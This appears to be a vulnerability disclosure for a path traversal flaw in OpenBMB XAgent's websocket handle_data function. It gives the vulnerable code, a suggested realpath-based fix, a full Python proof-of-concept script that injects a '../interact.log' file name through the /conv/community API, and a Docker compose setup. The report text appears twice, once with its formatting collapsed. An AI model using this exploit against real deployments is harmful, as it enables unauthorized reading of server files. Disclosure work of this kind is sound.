Vulnerability report: XAgent path traversal
Affected product
Vendor: OpenBMB
Product: XAgent
Vulnerability component: MainServer.send_data function in XAgentServer/application/websockets/base.py
Version: 3619c25
Vulnerability summary
MainServer.send_data() sends pending interaction records to the websocket client and calls handle_data() to enrich notebook image outputs. The handle_data() function treats file_name from the stored Raw record as a trusted workspace file name, joins it into a filesystem path, then reads and returns the file content as base64.
The vulnerable function call chain is:
MainServer.send_data()
-> handle_data()
The vulnerable data flow is:
send_data function:
InteractionCRUD.get_next_send
-> rows
-> row
handle_data function:
row
-> row.data
-> data["using_tools"]
-> using_tools["tool_output"]
-> tool_output
-> output
-> output["file_name"]
-> file_name
-> file_path
An authenticated user can first pollute the database through the /conv/community API by submitting a crafted raws JSON payload. The inserted Raw record can contain data.using_tools.tool_output[*].file_name with a path traversal value such as ../interact.log. After that, connecting to /ws/base/{interaction_id} and sending a normal websocket message triggers send_data(), which fetches the crafted Raw record and passes it into handle_data().
The vulnerable code is in
XAgentServer/application/websockets/common.py:
file_path = os.path.join(root_dir, "workspace", file_name)
if os.path.exists(file_path):
try:
with open(file_path, "rb") as f:
png_base64 = base64.b64encode(
f.read()).decode("utf-8")
except Exception:
pass
Because file_name is not restricted to a basename and the resolved path is not checked against the workspace directory, ../ escapes the workspace and allows reading files outside the intended directory.
Suggested fix
Add a security check in handle_data function. Code snippet:
for output in tool_output:
...
workspace = os.path.realpath(os.path.join(root_dir, "workspace"))
file_path = os.path.realpath(os.path.join(workspace, file_name))
if not file_path.startswith(workspace + os.sep):
print("path traversal detected !")
continue
POC
Prerequisites:
The PoC uses the real XAgent Docker services, MySQL, Redis, the /conv/community HTTP API, and the /ws/base/{interaction_id} websocket endpoint. The helper compose file avoids host MySQL port conflicts and pins MySQL to 8.0 because the project compose file uses the floating mysql image.
Step 1: Start XAgent and the required databases.
sudo docker compose -p xagentrepro \
-f your-path-to/poc/xagent-compose-repro.yml \
up -d
Check that the services are running:
sudo docker compose -p xagentrepro \
-f your-path-to/poc/xagent-compose-repro.yml \
ps
Expected important services:
xagentrepro-XAgentServer-1 Up
xagentrepro-xagent-mysql-1 healthy
xagentrepro-xagent-redis-1 healthy
The backend listens on:
http://127.0.0.1:8090
ws://127.0.0.1:8090/ws/base/{interaction_id}
Step 2: Send the PoC payload through the community API and trigger send_data().
python3 your-path-to/poc/community_ws_poc.py
The script performs both actions:
POST /conv/community
-> inserts a crafted interaction and Raw record into MySQL through the HTTP API
websocket /ws/base/{interaction_id}
-> sends a normal type=data message
-> starts the scheduler
-> triggers send_data()
-> send_data() fetches the malicious Raw row
-> handle_data() reads workspace/../interact.log
The crafted Raw record contains:
{
"data": {
"using_tools": {
"tool_name": "PythonNotebook_execute_cell",
"tool_output": [
{
"file_name": "../interact.log"
}
]
}
},
"include_pictures": true,
"is_send": false
}
Successful output contains:
community_status 200 {"data":null,"success":true,"message":"success"}
"interaction_id": "..."
...
read_content: 2026-...
poc_success True
read_content contains the contents of interact.log, which is outside the workspace directory. This confirms that handle_data() read a path traversed by ../interact.log.
reference related files
The PoC files are listed below:
import asyncio
import base64
import datetime
import io
import json
import time
import uuid
import zipfile
import requests
import websockets
BASE = "http://127.0.0.1:8090"
USER = "guest"
TOKEN = "xagent"
def make_empty_zip():
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED):
pass
buf.seek(0)
return buf
def insert_via_community():
interaction_id = uuid.uuid4().hex
now = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
malicious_node = uuid.uuid4().hex
finish_node = uuid.uuid4().hex
interaction = {
"interaction_id": interaction_id,
"user_id": USER,
"create_time": now,
"update_time": now,
"description": "community-poc",
"agent": "",
"mode": "manual",
"file_list": [],
"recorder_root_dir": "",
"status": "ready",
"message": "ready...",
"current_step": "-1",
"is_deleted": False,
"call_method": "web",
}
raws = [
{
"node_id": malicious_node,
"interaction_id": interaction_id,
"current": "community-poc",
"step": 0,
"data": {
"using_tools": {
"tool_name": "PythonNotebook_execute_cell",
"tool_input": "{}",
"tool_output": [{"file_name": "../interact.log"}],
"tool_status_code": "TOOL_CALL_SUCCESS",
}
},
"file_list": [],
"status": "inner",
"do_interrupt": False,
"wait_seconds": 0,
"ask_for_human_help": False,
"create_time": now,
"update_time": now,
"is_deleted": False,
"is_human": False,
"human_data": {},
"human_file_list": [],
"is_send": False,
"is_receive": False,
"include_pictures": True,
},
{
"node_id": finish_node,
"interaction_id": interaction_id,
"current": "finish",
"step": 1,
"data": {"done": True},
"file_list": [],
"status": "finished",
"do_interrupt": False,
"wait_seconds": 0,
"ask_for_human_help": False,
"create_time": now,
"update_time": now,
"is_deleted": False,
"is_human": False,
"human_data": {},
"human_file_list": [],
"is_send": False,
"is_receive": False,
"include_pictures": False,
},
]
z = make_empty_zip()
resp = requests.post(
BASE + "/conv/community",
data={
"user_id": USER,
"token": TOKEN,
"user_name": "guest",
"interaction": json.dumps(interaction),
"raws": json.dumps(raws),
},
files={"files": ("workspace.zip", z.getvalue(), "application/zip")},
timeout=20,
)
print("community_status", resp.status_code, resp.text)
resp.raise_for_status()
print("interaction_id", interaction_id)
print("malicious_node", malicious_node)
return interaction_id
async def trigger_ws(interaction_id):
url = (
f"ws://127.0.0.1:8090/ws/base/{interaction_id}"
f"?user_id={USER}&token={TOKEN}&description=community-poc"
)
async with websockets.connect(url, ping_interval=None) as ws:
first = await ws.recv()
print("ws_first", first[:500])
await ws.send(
json.dumps(
{
"type": "data",
"args": {"goal": "trigger send_data only"},
"agent": "",
"mode": "manual",
"file_list": [],
}
)
)
deadline = time.time() + 20
while time.time() < deadline:
msg = await asyncio.wait_for(ws.recv(), timeout=deadline - time.time())
print("ws_msg", msg)
obj = json.loads(msg)
outputs = (
((obj.get("data") or {}).get("using_tools") or {}).get("tool_output")
or []
)
if outputs and isinstance(outputs[0], dict) and outputs[0].get("file_data"):
decoded = base64.b64decode(outputs[0]["file_data"]).decode(
errors="replace"
)
print("read_content:", decoded[:300])
print("poc_success", "Receive connection" in decoded or "Send data" in decoded)
return
print("poc_success", False)
if __name__ == "__main__":
iid = insert_via_community()
asyncio.run(trigger_ws(iid))
services:
ToolServerManager:
image: xagentteam/toolserver-manager:latest
build:
context: your-path-to/XAgent
dockerfile: dockerfiles/ToolServerManager/Dockerfile
volumes:
- toolserverconfig:/app/assets/config
- /var/run/docker.sock:/var/run/docker.sock
environment:
DB_HOST: db
DB_PORT: 27017
DB_USERNAME: admin
DB_PASSWORD: xagentmongodb
DB_COLLECTION: TSM
depends_on:
- db
command: ["--workers", "2", "-t", "600"]
ToolServerNode:
image: xagentteam/toolserver-node:latest
build:
context: your-path-to/XAgent
dockerfile: dockerfiles/ToolServerNode/Dockerfile
volumes:
- toolserverconfig:/app/assets/config
db:
image: mongo
volumes:
- xagentmongodb:/data/db
environment:
MONGO_INITDB_ROOT_USERNAME: admin
MONGO_INITDB_ROOT_PASSWORD: xagentmongodb
logging:
driver: "none"
XAgentServer:
image: xagentteam/xagent-server:latest
build:
context: your-path-to/XAgent
dockerfile: dockerfiles/XAgentServer/Dockerfile
env_file:
- your-path-to/XAgent/.env
environment:
- TOOLSERVER_URL=http://ToolServerManager:8080
- MYSQL_DB_URL=mysql+pymysql://root:xagent@xagent-mysql:3306/xagent
- REDIS_HOST=xagent-redis
volumes:
- your-path-to/XAgent/assets:/app/assets:ro
ports:
- "5173:5173"
- "8090:8090"
depends_on:
xagent-mysql:
condition: service_healthy
xagent-redis:
condition: service_healthy
xagent-mysql:
image: mysql:8.0
command:
- --default-authentication-plugin=caching_sha2_password
- --character-set-server=utf8mb4
- --collation-server=utf8mb4_unicode_ci
environment:
MYSQL_ROOT_PASSWORD: xagent
volumes:
- your-path-to/XAgent/XAgentServer/database/sql:/docker-entrypoint-initdb.d
healthcheck:
test: ["CMD-SHELL", "mysql -h localhost -u root -pxagent -e 'SELECT 1'"]
timeout: 20s
retries: 20
xagent-redis:
image: redis
command: redis-server --requirepass xagent
healthcheck:
test: ["CMD", "redis-cli", "ping"]
interval: 5s
timeout: 3s
retries: 20
volumes:
xagentmongodb:
toolserverconfig:
name: xagentrepro_toolserverconfig
driver: local
driver_opts:
type: none
device: your-path-to/XAgent/assets/config
o: bind
networks:
default:
name: xagent-repro-network
driver: bridge
Vulnerability report: XAgent path traversal
Affected product
Vendor: OpenBMB
Product: XAgent
Vulnerability component: MainServer.send_data function in XAgentServer/application/websockets/base.py
Version: 3619c25
Vulnerability summary
MainServer.send_data()sends pending interaction records to the websocket client and callshandle_data()to enrich notebook image outputs. Thehandle_data()function treatsfile_namefrom the stored Raw record as a trusted workspace file name, joins it into a filesystem path, then reads and returns the file content as base64.The vulnerable function call chain is:
The vulnerable data flow is:
An authenticated user can first pollute the database through the
/conv/communityAPI by submitting a craftedrawsJSON payload. The inserted Raw record can containdata.using_tools.tool_output[*].file_namewith a path traversal value such as../interact.log. After that, connecting to/ws/base/{interaction_id}and sending a normal websocket message triggerssend_data(), which fetches the crafted Raw record and passes it intohandle_data().The vulnerable code is in
XAgentServer/application/websockets/common.py:Because
file_nameis not restricted to a basename and the resolved path is not checked against the workspace directory,../escapes the workspace and allows reading files outside the intended directory.Suggested fix
Add a security check in handle_data function. Code snippet:
POC
Prerequisites:
The PoC uses the real XAgent Docker services, MySQL, Redis, the
/conv/communityHTTP API, and the/ws/base/{interaction_id}websocket endpoint. The helper compose file avoids host MySQL port conflicts and pins MySQL to 8.0 because the project compose file uses the floatingmysqlimage.cd your-path-to/XAgentStep 1: Start XAgent and the required databases.
Check that the services are running:
Expected important services:
The backend listens on:
Step 2: Send the PoC payload through the community API and trigger
send_data().The script performs both actions:
The crafted Raw record contains:
{ "data": { "using_tools": { "tool_name": "PythonNotebook_execute_cell", "tool_output": [ { "file_name": "../interact.log" } ] } }, "include_pictures": true, "is_send": false }Successful output contains:
read_content contains the contents of
interact.log, which is outside theworkspacedirectory. This confirms thathandle_data()read a path traversed by../interact.log.reference related files
The PoC files are listed below:
community_ws_poc.pyxagent-compose-repro.yml